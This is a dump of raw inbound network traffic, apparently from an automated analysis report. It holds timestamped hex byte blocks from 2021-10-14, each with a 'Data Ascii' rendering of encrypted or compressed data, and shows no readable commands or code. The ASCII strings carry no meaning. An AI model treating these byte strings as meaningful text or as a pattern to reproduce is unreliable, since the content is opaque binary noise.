Data Ascii: )|9a_;sp!<1;OF(#3hL.g-wD~${}b.M|=|z@Vb_)/C(`]@RK8O(qn>_Txmt,H%^OzX/]^qTS4{QqrpIQXP}z'/o[PYDF8%

2021-10-14 01:28:02 UTC 67 IN Data Raw: 55 cb 74 8f 92 b5 06 95 64 82 bf 58 9c 88 46 bb ac 31 6c 55 51 e9 0f cd 6a 1c 13 22 93 91 46 ab 27 37 80 23 
cd a2 e6 c2 b9 40 7d be e1 8c fd c3 f5 42 bc 63 25 33 87 c2 fe c3 70 74 9f 89 96 11 66 78 c0 fb ad cd 6c a3 5d de 04 cf 6e 
0d 1a cd d7 a9 6f 00 a5 a9 49 25 ec 12 3c 8e 1c f7 af 42 5b c2 d6 1c 3d c3 23 e5 40 ef f5 1f 4c e8 8b 05 0d 89 11 91 5b c8 
12 33 90 e9 a9 5f e0 e6 57 23 0b b1 ec 69 f4 35 e3 6f 2c 3c f8 7c 46 a0 58 88 ad 1e ee fa 37 22 c3 78 92 24 73 f0 19 3b 
99 73 67 4a 7c a3 c4 2f f6 e6 a2 3b 0d cc c6 d2 bb e2 70 92 4d a4 5b 9c ba 42 d6 87 48 31 d0 45 c7 d0 84 1d 1b 55 8f 85 
2b da c1 d7 90 c1 49 63 0e b8 fa e0 91 71 50 00 27 f2 4a 92 73 30 cc 24 3d 33 8c aa 1b 77 79 49 41 1d 25 61 0a 82 70 23 
ad 53 ce 4e d7 d5 f3 3e 68 5b b7 70 a8 54 3b 69 88 
Data Ascii: UtdXF1lUQj"F'7#@}Bc%3ptfxl]noI%<B[=#@L[3_W#i5o,<|FX7"x$s;sgJ|/;pM[BH1EU+IcqP'Js0$=3wyIA%
ap#SN>h[pT;i

2021-10-14 01:28:02 UTC 68 IN Data Raw: 06 e3 83 be e7 8d f2 35 d0 6e d1 6a 05 f8 33 83 24 6b 11 fe 6f 36 6a 89 10 78 39 f4 c0 6a c7 4d c7 6e a6 80 11 
c9 fe de e9 f3 c5 fd 00 f4 92 41 c4 3f 8f b2 29 61 11 d3 7a 6d 39 88 9a 51 9a d4 45 e9 1b 82 37 1b b4 83 19 08 19 50 0d 
1e 33 01 7b f8 02 e0 37 5f 42 29 7f 6e 3b ba 32 7a 49 f2 ed fa 64 66 5c 5d 3d c6 c6 ad ca 02 00 ba a9 9a 4a 09 ac cc b5 
52 fd d5 fc 0e aa 32 f3 e0 49 be 1c 6b ee 2a 3f 45 77 39 be da 39 b1 b8 6a 76 e6 b8 78 c1 b5 72 70 49 e0 c8 77 55 5f c1 
48 7c 8b 1c 95 0b 3e 02 e0 ff 28 4d ae d5 35 8f f3 63 1c 57 59 47 45 02 ab f5 c1 05 20 95 32 84 f4 b3 b1 41 7f 1f 08 1f 30 
00 2a 38 ed 84 06 00 e3 89 e8 37 93 3a 4a e2 98 4b 8c 37 9e 98 bc fb 8a 4c 68 7f cf 69 f1 0e 49 77 1d 1b de 14 de 41 bf 
06 2f 74 66 8b f6 64 ce 90 58 f6 2c 52 c3 a9 1d 97 
Data Ascii: 5nj3$ko6jx9jMnA?)azm9QE7P3{7_B)n;2zIdf\]=JR2Ik*?Ew99jvxrpIwU_H|>(M5cWYGE 2A0*87:JK7LhiIw
A/tfdX,R

2021-10-14 01:28:02 UTC 70 IN Data Raw: f3 fb 5a 05 4a 4a 04 c5 13 e5 1a 04 cd d6 b0 75 20 4e b9 45 39 ee 8d 8f b1 d6 e5 ab 59 57 c5 c2 21 f4 93 86 
c5 f9 58 dd 09 65 c6 83 11 07 95 35 a5 4f db 14 e4 12 76 ea d0 57 dc 9b 45 9e 07 fb b9 c9 ea 44 50 2c 3c f8 7f 43 b7 51 
06 2a 09 79 94 26 23 d4 53 8a 34 6d d1 1c 2c 61 7f 76 47 7d ab d5 33 92 83 36 5a 99 d7 b8 3b 6c f1 77 8f 48 9d 37 a9 58 
55 fb 77 fb 26 0c 7a 89 5e bb 1b 68 ab 9d 83 37 a4 c4 5b 27 d3 9b 58 63 af f4 cd eb e0 51 11 2f 4e c3 95 62 38 2b 01 2a 
1c 9e d4 1d 64 77 52 4c 24 56 f1 2a 7b 58 a2 a9 85 d9 62 5e d8 67 e2 85 8f a6 61 a4 2a 35 7a 8d c9 52 8a cc 66 d6 75 d5 
f3 f7 64 47 d1 00 e6 7c 02 5f 59 cf fe f6 ca 28 0f 9d e9 03 8c f7 f6 d4 31 bc a2 4d 95 e4 8b 41 b7 ac 04 72 21 8f 6b 56 16 
14 85 6d bd b0 75 5a 5c f0 10 96 7a bd fb 61 d4 d5 63 
Data Ascii: ZJJu NE9YW!Xe5OvWEDP,<CQ*y&#S4m,avG}36Z;lwH7XUw&z^h7['XcQ/Nb8+*dwRL$V*{Xb^ga*5zRfudG|_Y(
1MAr!kVmuZ\zac

2021-10-14 01:28:02 UTC 71 IN Data Raw: fa 41 0a a5 97 83 97 bb 48 0c 18 2f 8e 6a e9 0a e8 ad fc 28 66 d7 6e 3f 3e ad 0d 4b 7c 50 bd 5e 65 5c 51 3d 
d1 de b4 af 4b 02 b8 a3 83 35 7f 84 cd bf 37 c6 de ed 01 ac 4c f6 cf 4b b4 0b 0d dd 47 11 42 71 22 b0 ad ac 9b b8 60 66 
e1 a5 b0 5f 8a 63 64 59 e6 43 c9 7b e8 36 39 34 b2 32 83 dd 27 19 f5 e3 28 54 99 05 7c 6e 24 79 37 57 53 57 51 1c ba f0 
d7 2e 09 47 30 86 f2 b8 b8 50 74 63 13 18 30 25 39 31 fc 17 69 2c f3 9f f1 2e a2 40 67 e3 98 41 96 38 82 9c 41 74 11 24 
49 7a c2 7c f1 1a 69 6e 0d 13 cb 0e 27 2f 88 00 3e 79 67 9c f0 a9 d3 b5 61 c9 30 ac c8 96 1e ae 32 67 71 30 cc 6c 23 79 
91 83 e1 d5 33 05 22 66 06 b6 c1 d9 38 2e d4 4c 85 14 55 b5 ac 5c a1 10 50 8e fe 0f 2b 26 09 4a 66 bf 63 32 42 7d d3 e2 
c7 5b 64 e5 b4 a7 13 68 75 44 a4 d2 3c d8 e2 4b fe 3c d1 
Data Ascii: AH/j(fn?>K|P^e\Q=K57LKGBq"`f_cdYC{6942'(T|n$y7WSWQ.G0Ptc0%91i,.@gA8At$Iz|in'/>yga02gq0l#
y3"f8.LU\P+&Jfc2B}[dhuD<K<

2021-10-14 01:28:02 UTC 72 IN Data Raw: 7a ae 2a 36 f8 6f 45 c4 43 04 1a 03 5b fa 24 31 c4 20 35 35 76 eb 1e 33 59 52 28 47 e8 a1 fd b4 e5 3c 30 72 
51 dd cb cf 66 ee 67 ab 1e b5 4a a7 70 c4 d7 09 f9 0e c8 52 11 57 b7 15 33 7b 9c 83 37 f2 63 58 27 d9 94 58 2d ab f4 c1 
ee 67 53 1c f4 fc 5a 96 62 39 2b 73 2a 1c 92 a8 19 77 73 70 10 08 2b f3 45 fa 71 23 ab a8 d8 4c cb 06 1a e5 f6 70 b1 70 
aa 2a bd 79 8d c5 4d 78 a0 6d c5 76 c5 3d f2 64 41 e8 9c f4 79 12 43 2f cf fe fa b6 2e 25 d6 e2 0b ae 65 f6 c5 32 83 49 c0 
94 e2 a5 b6 29 ac 02 0b cd 89 63 74 66 17 87 6b a6 be 75 fe 58 f0 1c 96 d1 b9 fb 6d c5 ac 67 ef fb 64 e2 94 a4 b7 1e 97 
48 4f a6 f0 40 13 09 50 8b 52 7e 7f 5d 15 17 35 bc 88 bc 39 71 f7 d2 d4 aa 8c 41 b9 9a ad b9 a5 33 7a 49 f7 1d 2b 6f 83 
52 6d bd 04 cd a1 13 2f 18 c5 33 41 8e 56 97 7d a5 62 
Data Ascii: z*6oEC[$1 55v3YR(G<0rQfgJpRW3{7cX'X-gSZb9+s*wsp+Eq#Lpp*yMxmv=dAyC/.%e2I)ctfkuXmgdHO@PR~]
59qA3zI+oRm/3AV}b

2021-10-14 01:28:02 UTC 73 IN Data Raw: 77 af b0 cc aa ba 2e 6a 77 f5 2e 77 42 81 7b 6f 17 6f dc 70 5b 5f e8 34 cb a3 38 08 1a 3a 0c ef f6 0e db b6 55 
9d 9d fb ea 1d 57 53 ca 50 12 a5 fd f7 ca 08 89 33 18 ef ac a7 5e 55 bf 23 1e 30 96 2a 3f e3 8e 76 1a 7e 98 ec 39 8a 4a 
14 7f 89 4f 98 21 bd 50 bf 75 3d bf 49 70 d0 71 fd 77 fd 7f 12 04 c7 1a 82 b2 b5 09 30 6a 75 e1 60 ab d5 aa 65 de 14 ce d8 
b4 09 a9 15 ab 6d ac d1 e3 3a 77 9f 9c df d0 32 29 28 eb 10 a3 c1 8f 84 ea dd 5f 8d 88 55 b3 ac 53 40 75 e0 92 f8 19 25 
69 a8 48 66 b5 f5 3c 5b 71 c0 fd 9d cf 68 15 aa 97 3a aa 72 5e bb 6d b1 c8 ee 5e e1 77 45 d1 1d cc 57 7d 56 17 1f 7e d9 
c8 6b 2c b4 d6 12 91 04 28 7a 0b a2 d1 20 28 4f 6a bd 52 fc cd ef 26 21 b9 4f 99 b3 f9 b5 3c 47 ec 68 45 e4 73 2f b6 6a 
69 a8 9c f8 93 92 88 8b 83 96 ff e4 e1 f2 93 3f a2 
Data Ascii: w.jw.wB{oop[_48:UWSP3^U#0*?v~9JO!Pu=Ipqw0ju`em:w2)(_US@u%iHf<[qh:r^m^wEW}V~k,(z (OjR&!O<
GhEs/ji?

Timestamp
kBytes
transferred Direction Data
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2021-10-14 01:28:02 UTC 75 IN Data Raw: 4e d9 d8 bf 72 04 a6 f4 c2 da 9e 54 3d 3b 64 5d 80 64 b0 ef 91 70 1c 94 b1 1b e8 c0 76 50 16 26 f5 23 67 8e 
22 81 81 cb 60 dd d6 67 ed ed 8e a6 4d 8b 43 23 50 9b c2 5a a8 a4 b8 c1 a5 70 5a f3 64 40 f2 9a e2 6a 03 a2 11 a1 a5 fc 
a5 22 0a 13 54 25 8c 60 d8 c8 3a 94 2f 51 6b e3 8f d0 ae 21 29 01 de 8f 61 45 74 14 8e 7b 49 b9 71 db 4f fd 16 b7 e2 47 
fa 4b fe 7b 65 c4 78 72 cf bc a3 ac 2e b5 5b b6 b6 f8 79 5f 09 50 9a 30 c9 6b 75 87 18 2a a6 b6 6f 3e 71 fd d9 c6 96 39 6d 
11 9c 85 71 b1 1b ab 39 ee 19 3d e8 89 5b 02 a6 12 d9 bf 16 8b 30 67 3d 69 29 7e 8c 75 b4 6c 8a a0 b7 d1 8a 80 f3 75 47 
08 03 14 a5 72 0b 99 5f fb 12 70 64 84 cf 5d f4 b5 ab eb 90 29 e6 f9 76 94 ea 4f 1b 93 12 3e 1c 15 33 89 af 33 17 38 b1 92 
e2 dc f9 ca d7 fe b9 b2 c1 86 62 2d 19 77 44 ea 52 
Data Ascii: NrT=;d]dpvP&#g"`gMC#PZpZd@j"T%`:/Qk!)aEt{IqOGK{exr.[y_P0ku*o>q9mq9=[0g=i)~uluGr_pd])vO>338b-
wDR

2021-10-14 01:28:02 UTC 76 IN Data Raw: fe 87 43 2b c8 89 e2 27 8a 55 65 e3 98 71 87 d1 8c 8f aa 6f 3d 23 59 65 ff 67 e2 27 61 6e 1c 3b d4 05 c8 06 38 
07 2f 74 68 ab 95 bb db bf 64 d6 04 c7 c8 ba 1c d0 2e 7f 6d a6 db a1 39 51 b7 8b ff 21 1a 07 2a 77 07 a7 f6 af a4 31 d7 81 
8d 12 6e bd b3 4b 4f 11 7c 83 f6 06 3f 53 14 48 74 af 69 2d 54 75 eb e6 d6 70 79 1b b5 ab 1a 79 63 76 27 f1 a0 cc f3 57 
e8 05 4c c1 13 d9 26 7d cb 06 1b 6b 18 db 10 87 a5 d8 15 a6 2c a5 51 01 7c d0 35 0c 5e 65 bb 72 64 cd ef 26 bd bd 54 8e 
a0 ec 29 2d 48 ea 75 05 67 60 21 a5 60 b4 98 9f f8 a4 81 86 91 3f e1 63 e4 f9 e4 b4 e1 3c 3c 4a db 55 7c 82 4b 0d 27 7b 
5a 85 8e 8f 82 7f a4 bb e7 75 52 5f f0 13 dd 52 db e4 ad 08 81 a4 29 f0 ba bf 3d c0 a3 fc d9 b3 ba 6a 9b ff 20 9d c6 94 dc 
aa 68 39 37 99 d2 8e 75 4b a0 b4 e6 9c 13 6c 59 
Data Ascii: C+'Ueqo=#Yeg'an;8/thd.m9Q!*w1nKO|?SHti-Tupyycv'WL&}k,Q|5^erd&T)-Hug`!`?c<<JU|K'{ZuR_R)=j h97uKlY

2021-10-14 01:28:02 UTC 77 IN Data Raw: 9f 8a 2b 04 2c ac 12 d4 fc a5 28 0c 8d e3 0b a6 74 ee d4 91 56 26 43 95 e2 a3 d9 a7 9c 00 01 f6 8e 6b 5c 71 
14 87 7c a1 b3 76 c2 58 f7 01 40 ff 95 f9 7f f7 50 60 f9 05 74 c9 be b4 bc 1e bb 43 b9 b6 d4 7b d4 0b 7b 68 41 0d 03 75 8d 
17 1f 98 9c 32 43 19 f7 d3 c4 94 98 69 11 89 9d b1 b1 33 a1 4a f7 1d 3d e2 95 44 66 97 0b d9 b2 2c 79 19 e9 3b 71 24 56 
90 61 4a 67 a1 88 a9 f2 29 83 eb 8d 29 38 03 3f ad 4a e4 8d 37 99 2a ec 61 ae ed 4e fb d9 c9 71 83 29 dd fd 19 89 fb 7f 
13 80 34 28 0f 18 0d fa ae 22 01 22 94 98 ef 41 fd 32 c7 d4 d4 25 cb 86 6f 13 43 72 68 ee 6d 68 b1 e6 15 f7 ce bd f1 1e d8 
54 34 79 76 fd 15 82 20 4b 3e f5 e2 fc 7e ee 10 7c 17 7a 77 bc d6 f3 72 79 54 56 06 1f 75 f5 e9 e2 d2 e5 23 e6 83 4e da 4f 
39 b6 0f 78 1a d9 03 1c c7 89 b2 45 9c d7 4c 60 
Data Ascii: +,(tV&Ck\q|vX@P`tC{{hAu2Ci3J=Df,y;q$VaJg))8?J7*aNq)4(""A2%oCrhmhT4yv K>~|zwryTVu#NO9xEL`

2021-10-14 01:28:02 UTC 79 IN Data Raw: d7 29 5b 03 86 dc bc 47 33 a6 26 8d 14 40 97 91 48 5c 6c 05 83 f6 02 15 49 0e 48 75 85 6b 2d 7d 6e db e2 47 
53 79 0a a3 80 31 62 72 59 ac 0f a1 ea f3 5b f5 2d de d6 ed d2 65 64 dd 0d 11 66 de 29 39 9c a7 f3 1d a5 f7 a7 2a 71 a2 
d0 37 0c 68 66 a8 5a 75 cd ef 2c c0 d2 41 8e a8 dc 29 2d 5a c4 74 2d 0b 62 21 af 4a a7 a8 9c fa 27 94 86 91 96 e2 4e fe 
c7 d7 89 7c 38 4f 63 d9 5c 69 e9 b7 7f 5a 74 8a a1 e1 cc 81 57 b6 b9 e4 57 1c 45 e2 18 b2 70 c4 1a a6 4b bd 9d bc f7 b8 
d0 61 cc a3 f3 c5 80 7b 6e b7 f1 77 c7 c6 94 d6 da 27 35 37 96 c9 1f 36 66 ae b1 96 bf 51 69 53 f2 9c 08 78 74 71 25 51 
12 19 e5 30 75 8f d7 ba 65 0b 9b f9 40 33 e2 f3 a0 a4 00 fc c0 1f 52 d4 c1 3a 2b 5e a4 ef ce 70 dd 03 4d e0 81 11 10 8e 
16 b6 54 db 19 2d e0 5f 8d d3 4f dd 93 2d 93 f8 fa 9f e1 
Data Ascii: )[G3&@H\lIHuk-}nGSy1brY[-edf)9*q7hfZu,A)-Zt-b!J'N|8Oc\iZtWWEpKa{nw'576fQiSxtq%Q0ue@3R:+^pMT-_O-

2021-10-14 01:28:02 UTC 80 IN Data Raw: 60 df f1 50 8b 43 ea 6d 6f ad c0 35 ba 9e ad 38 6a d7 6b c0 be 98 f5 17 86 b2 fb 2d 1d bc 55 c9 87 3b fc 9b 1a 
f1 ba 0f d0 aa 46 1b 1e da 33 76 11 ca 91 68 bf 79 87 16 b8 e6 25 9b 91 ef 2e 0b 0c 09 33 67 18 81 6c 2d 2a ec 65 18 c9 
53 f7 bb 86 ed 85 32 e7 dd ff 89 e8 4f 8d 86 03 39 10 7f 97 fc b1 21 37 a8 bf 83 ef da ec d3 d5 e1 4a 3b df 92 48 e2 bd 73 
44 70 7c 7c a4 c1 bf 09 cf 91 6f 33 c5 69 c8 68 91 91 0a 95 04 c4 1c f7 e1 1d 12 f1 08 58 8d 7a 77 bc 59 c5 6f 60 63 2f 9a 
19 6c ef c9 1d c4 ee 08 61 85 56 d6 ae 77 06 0b 7f 0d c6 0b 96 3f 97 83 58 ca 40 4a 78 b2 e3 45 87 b2 98 88 9f dc 4c 0c 
1e a5 05 72 c9 15 92 25 ee 23 6f 60 7a a3 32 9a 8e 6b f0 5a d2 78 fb 5a 48 0f e0 32 a5 a5 24 9d bc bc ad 51 31 1a cb aa 
7d f1 9a 71 01 a2 7b c1 ec d5 b2 12 45 d9 84 11 
Data Ascii: `PCmo58jk-U;F3vhy%.3gl-*eS2O9!7J;HsDp||o3ihXzwYo`c/laVw?X@JxELr%#o`z2kZxZH2$Q1}q{E

2021-10-14 01:28:02 UTC 81 IN Data Raw: ba d1 e1 8f 38 af 46 0c b1 da 20 2e 41 6e b8 79 64 dc e4 3c 43 a9 6d 84 df d4 2b 2d 4f e7 70 36 6b 69 21 be 
41 b8 b8 62 f9 23 89 97 99 8b 37 70 fd f0 f8 9f 77 3e 2d 41 c4 53 9d 92 99 00 02 64 8d c8 96 8e 80 5d af ab f4 74 5e 51 e9 
01 d1 a5 c7 36 b3 35 81 9a ad f9 20 97 95 c9 a3 f3 ee 1f 40 6b b1 ec 30 83 c5 94 da da 5c 36 37 96 d4 7d 67 6c ae a6 9e 
8c ef 6d 7f e6 fb 0b ce 70 7b 4c 2c 6a 19 e3 38 0d 57 c5 bf 7f 1b b8 b8 54 38 fb 96 75 a7 2c ff 97 d9 ad 2b 38 0f 3e 5e 9f 
ed df 53 c5 fd 4c c4 8b 13 29 02 1d 9d 45 d7 07 29 15 5e b0 da 48 dd 6d 2b a9 19 ea b4 e5 f2 66 ca 04 8a fd 6f 45 9f e6 
02 1a 0f 22 c1 49 30 ce 55 e5 11 74 e1 12 33 4f 69 7d 47 f9 a0 c3 dc e0 10 35 4d 80 d6 cb d4 66 ee 6f 7d 41 99 48 86 5d 
6b f7 f7 00 d9 03 78 11 5d a8 2d 1e 54 d5 83 3d cb 
Data Ascii: 8F .Anyd<Cm+-Op6ki!Ab#7pw>-ASd]t^Q65 @k0\67}glmp{L,j8WT8u,+8>^SL)E)^Hm+foE"I0Ut3Oi}G5Mfo
}AH]kx]-T=

2021-10-14 01:28:02 UTC 82 IN Data Raw: 4e cc 63 9d 09 61 6e b2 1b d4 14 cf 3d a0 3f 5c 7e 6a 83 fc ab df af 8e c0 00 49 e9 45 16 bf 35 78 77 ce d6 a9 
0b da 80 8b ff 4a 12 d6 28 77 01 f2 bf 9a bf 22 d9 5f 9c 10 53 43 b2 66 5c 09 6f 87 f6 17 3b 50 f0 49 4a a5 6b 3a 3a 59 d9 
e2 dc 7b 41 19 b5 81 11 63 61 5a bb e0 a4 de 0f 42 d2 3d db d6 7c e4 4b 66 c0 2e 29 63 c6 dd 32 a9 b6 dc 1f 9f 10 b3 af 
0a 8e d3 24 35 5a 64 ba 76 7f 33 ee 0a bf 83 43 a5 27 ff 03 2d 52 c4 74 2d 93 60 21 af e5 a7 a8 8d fa 71 1b 86 91 96 f7 4b 
db ef e9 86 6a 10 1c 49 a5 c4 63 93 bf 1a 23 5b 8a a7 84 99 b3 55 9b b4 e3 01 c6 40 e2 14 cb 73 e8 1a ac 2e 90 af b7 d9 
94 bd 23 cb a9 28 69 aa 44 6b b4 e4 1f 9f 04 94 dc bf 7f 25 30 83 da 66 67 77 bf a6 fa 5a 11 6c 59 e7 e1 08 64 65 6a 5b 
14 7c fd e2 32 10 de dd bd 71 03 9b 81 47 33 ee 
Data Ascii: Ncan=?\~jIE5xwJ(w"_SCf\o;PIJk::Y{AcaZB=|Kf.)c2$5Zdv3C'-Rt-`!qKjIc#[U@s.#(iDk%0fgwZlYdej[|2qG3

2021-10-14 01:28:02 UTC 83 IN Data Raw: 95 e2 a7 f3 b4 ac 02 12 ee 8c 6b 74 79 14 87 dc b7 b8 4c cf 53 db 0d be f9 ae 05 66 d0 52 7f e4 fb 72 f3 42 a2 
9b 1c ab 50 47 b0 e0 87 fe 25 52 a0 41 5d 88 77 f6 bf 35 ba 9a 1b 1c 73 f4 ae 6c be 98 6d 3b 9a ad b3 a2 2b a2 4a 78 1b 
3d e2 36 52 6d ad 06 d4 8d 41 87 18 c5 39 60 38 a8 96 5b b6 7e 80 8a b7 e0 d7 85 df 77 3e 3e 1b 19 af 68 1c 71 4d dc 33 
ee 1e 42 cf 4c fc a3 31 51 03 2d f7 fd 46 a9 68 4f 11 80 32 64 08 32 17 f7 ae 3a 0f d7 be af e2 45 e8 b7 00 f8 d6 39 4e 31 
59 0c a4 7e 44 e5 60 9d b0 cd 14 0a cc 8f 25 39 d1 54 fe 7c 0f ec d3 82 24 65 92 40 f6 5b 25 59 06 52 26 77 77 b5 d3 3d 
71 55 7e 41 0b 1f 7a e9 17 f2 e8 ec 23 ff a8 cd ca a6 ee 91 0a 68 20 0a 07 14 ef a2 9e 54 bb da 4c d4 ad fc 50 a8 b4 87 
86 a9 22 45 34 fb 39 03 6d e9 1b e0 ae 16 3d 62 7c 
Data Ascii: ktyLSfRrBPG%RA]w5slm;+Jx=6RmA9`8[~w>>hqM3BL1Q-FhO2d2:E9N1Y~D`%9T|$e@[%YR&ww=qU~Az#h 
TLP"E49m=b|

2021-10-14 01:28:02 UTC 84 IN Data Raw: 2e 41 26 59 66 b5 63 3e 53 71 cd f1 d9 53 68 14 aa c3 e4 78 5e 57 83 1b a2 c6 f1 5c b7 3e d6 c0 02 dc 56 6d 
34 07 3d 68 fe 43 39 b0 a5 c7 13 9d 1b a5 40 04 bd f4 cd 27 72 68 ba 7b 7e f3 b5 2e bd a8 5e ab bf f9 29 3c 46 eb 5f d3 
79 4e 00 ad 31 6f a8 9c fc 7c c2 84 91 96 f9 09 86 ab eb 8c 76 16 7f 48 db 56 75 d3 14 08 0b 75 95 8e 9d 80 80 46 bf a3 
19 7e 72 53 e0 65 1b 5b c6 1e af a0 17 83 b1 b1 a1 bb 23 cd ba e6 c9 a8 55 64 a8 e7 e6 ed e8 81 de b3 f0 25 3f b8 91 70 
74 6d c1 35 94 97 17 7f 54 eb e2 30 75 74 6a 45 1b 54 e7 e2 1e 2d cf d4 ab 69 12 dc 3c 44 33 e2 ef ca a4 00 fc d1 0a 51 
d4 cd 38 7d 4f 94 e7 cc 23 1a 03 4d ec f2 58 03 98 17 b5 05 d9 1e 30 36 15 a3 d1 5d b9 16 2b 85 00 e4 fb f0 ec 6e 41 23 
23 bd 91 42 9b 58 3e 72 0e 34 e9 39 74 dd 5c 8a 24 79 fe 
Data Ascii: .A&Yfc>SqShx^W\>Vm4=hC9@'rh{~.^)<F_yN1o|vHVuuF~rSe[#Ud%?ptm5T0utjET-i<D3Q8}O#MX06]+nA##B
X>r49t\$y

Timestamp
kBytes
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2021-10-14 01:28:02 UTC 86 IN Data Raw: 08 f0 de f7 b3 1b ab 62 b4 19 3d e8 92 12 02 40 ef 26 aa 17 94 17 c5 28 66 30 6b 69 76 98 11 8f f1 77 f9 29 80 
fb 62 2c c2 8e 3f af 61 05 a7 0b f2 2a e6 67 ff 09 4c f8 a0 a6 02 c2 2f f7 f7 08 8c 9b 0b 13 80 16 00 4a 1a 0b f0 a7 25 81 
5a fb 81 ef 4c c2 89 c4 f8 dc 34 d7 10 1b 41 bf 73 4e c4 3f 61 b1 eb 04 11 59 e2 b7 37 da 75 ff 3e 0f 97 1f 8b 3d f7 6f b3 e3 
81 1e c6 55 7a 3d 70 5f fa c7 c3 7a 70 66 c0 b1 70 69 f4 e9 f9 b9 38 08 fd 87 56 f3 a2 37 9a 1c 6f 0e e7 fa 0b 15 82 8f 43 
9c 0a 5f 63 b3 c3 43 14 b4 96 98 a0 73 b2 0d 32 0a 01 6e 9a 4b eb b9 e2 25 24 0c 2a 3d 34 8f 84 0e 7e 5a d8 50 21 5e 57 
26 d8 b8 21 a4 24 07 c9 e2 8b 4e 70 f8 8f b7 58 e4 f4 a5 05 bd 57 cd ea 56 f7 1e 6d f9 54 1e 5b 54 cd a0 ee be 8b b1 7d 
a1 e6 bb 79 68 8d 7d 70 59 fc d2 6f ba 54 
Data Ascii: b=@&(f0kivw)b,?a*gL/J%ZL4AsN?aY7u>=oUz=p_zpfpi8V7oC_cCs2nK%$*=4~ZP!^W&!$NpXWVmT[T}yh}pYo
T

2021-10-14 01:28:02 UTC 87 IN Data Raw: 98 3a 85 6d 2f 49 fe 5f 68 7a 62 2b 87 0c a5 a8 96 f1 18 15 31 fe 86 e0 63 ff 92 3a 8c 7c 3a 23 65 c8 53 63 82 
ba 13 4e 8b 8b 8b ba 8d 83 24 f1 b9 e7 75 41 4c 88 6d 99 59 c6 10 84 61 84 9c b6 e0 b6 a7 fb be ea f7 c6 a2 6c 2e b5 f7 
12 c4 82 96 dc bf 6c 5b b3 91 cb 76 f3 74 a4 a8 d3 84 1e 6c 42 fb e9 dd 7b 58 7e 5c 08 08 0a ec 32 0b c2 c0 44 62 24 b0 
af 56 3c e4 8d 84 b9 4d 08 ae 64 51 ff c2 28 ae be 6b 12 e4 58 dd 18 7d ef 81 60 06 98 1d 2b 4f db 0f 38 65 98 a1 d1 53 
d5 17 bb 9a 0b bb f7 e5 e3 6e 52 2f 4f b8 6d 43 bd 48 6c 69 4d 36 e9 2c 19 8b 51 8a 3f 5e a7 16 2c 49 62 19 c3 e9 ab d3 
51 a0 3e 36 50 ed 9f c9 c5 67 d9 35 81 40 bf c6 4f 58 53 d2 05 e9 2b 08 29 da 5d bb 19 37 11 9e f8 f6 cb c4 5d a9 6e 9e 
72 1e d0 3f cb c3 64 21 92 29 66 5a 94 19 f5 58 fe 2f 
Data Ascii: :m/I_hzb+1c:|:#eScN$uALmYal.l[vtlB{X~\2Db$V<MdQ(kX}`+O8eSnR/OmCHliM6,Q?^,IbQ>6Pg5@OXS+)]7]nr?
d!)fZX/

2021-10-14 01:28:02 UTC 88 IN Data Raw: 50 82 1c 22 17 72 78 be ac 33 1d 01 fc 81 ef 4c fc ff 98 fa ad f6 c0 86 6c 0c ac 75 92 63 50 63 b1 e3 76 d9 cf 91 
f7 24 d7 57 ce 7a 0d 9d 17 f9 e2 61 1c f3 e6 f2 55 ec 10 72 2c 72 04 f8 c7 c3 7a 51 39 54 06 15 62 f1 9a ba c6 ee 02 d5 c6 
4b cd bb 10 dc 0f 60 1b c8 01 1b 34 07 b7 47 8b de 37 aa ac fc 54 ac db 9d 96 bf 3b ee 34 34 38 03 6d eb 71 21 b9 e8 38 
3d 3e 6c 3f 3e 9c c6 38 38 58 d2 72 4f 1f 55 2c ca c1 e5 a8 25 01 ba a1 f2 85 7a 86 c9 bc 49 e8 0a 62 2d bd 5d dc 9a 99 
b4 0d 66 e8 48 39 03 75 33 ab c0 cf 5c b8 6a 73 f2 c1 27 4e 9e 78 61 40 80 89 7c 44 5f e0 83 c9 a3 32 85 0f 47 5a e6 e9 
33 6f e2 59 82 9b f3 39 1f 57 59 47 44 0d b7 7f fe 1b 08 8b 48 49 fe a2 bc e7 1a 6a 22 1e 3a a8 03 9e fc 81 69 2e 99 42 e2
26 9e 5c 74 e5 4e ce ad 30 9d 8c c4 a5 3d 23 
Data Ascii: P"rx3LlucPcv$WzaUr,rzQ9TbK`4G7T;448mq!8=>l?>88XrOU,%zIb-]fH9u3\js'Nxa@|D_2GZ3oY9WYGDHIj"
:i.B&\tN0=#

2021-10-14 01:28:02 UTC 89 IN Data Raw: 37 d9 b7 dd 6e a8 44 61 9f e6 18 ec ce 87 d9 a4 71 22 bb af cb 70 75 71 86 07 95 97 1b 40 31 f2 e2 27 7c 65 7f 
d0 10 3b a6 e0 32 1c d5 5b bd 63 08 b2 ab 4f 22 ee 8a 9d 2a 3f f6 af 49 f1 c5 cd 07 24 48 bc fc ce 58 d7 a1 5c e2 92 18 10 
91 09 89 57 56 31 3a 1e 5f b2 da 46 dd 85 3c 19 17 f0 a4 f4 7f 7f 5b 04 94 f9 6f 49 a6 5a 11 8a 25 3f f8 2f 26 54 7b 9b 35 
76 eb 07 29 6b 6b 76 47 e2 09 d3 33 e5 a6 22 72 5e d9 cb c3 7a 7c 7a 83 40 b4 59 a7 49 59 c5 21 31 22 0a 54 b3 4c b1 
09 0f 40 b4 2b 3d cb ce 4f ab e6 93 70 1d bd dc 3f c2 60 5f 3d 2b 4d 1e 94 60 45 94 fe 2b 18 e0 38 1d 66 76 49 40 1b fd 78 
3f 7d 70 22 85 c8 dd 4a cc af 46 e4 f6 6b da ad ae 45 31 7a f6 0f 5a a2 b7 73 d2 75 ec 75 69 4c e0 f9 98 ef de 15 28 b1 18 
ed f8 b4 2c 1c 95 dd 46 5a 8b 0d d6 35 ef ef 
Data Ascii: 7nDaq"puq@1'|e;2[cO"*?I$HX\WV1:_F<[oIZ%?/&T{5v)kkvG3"r^z|z@YIY!1"TL@+=Op?`_=+M`E+8fvI@x?
}p"JFkE1zZsuuiL(,FZ5

2021-10-14 01:28:02 UTC 91 IN Data Raw: e9 06 1f 79 ff c1 23 c0 ee 0e f1 91 48 ed b0 38 9a 8d 48 b3 d8 04 00 47 b4 9e 47 81 d4 23 d4 ad fc 5a 08 b0 96 
93 d0 85 4d 0c 14 b7 b4 7b d2 65 e8 b9 e8 2d 4a 10 da 3e 34 8f bf 59 6a 49 c3 40 34 5d 57 2c d1 c5 b4 b4 be 12 b6 b2 8d 
5f 76 e9 7e b4 58 e4 cf e7 13 ae 56 d9 e9 58 b8 25 46 f9 45 1b 52 57 2a a1 c0 b4 88 b3 42 e3 f4 b2 60 5f 97 52 71 49 f3 
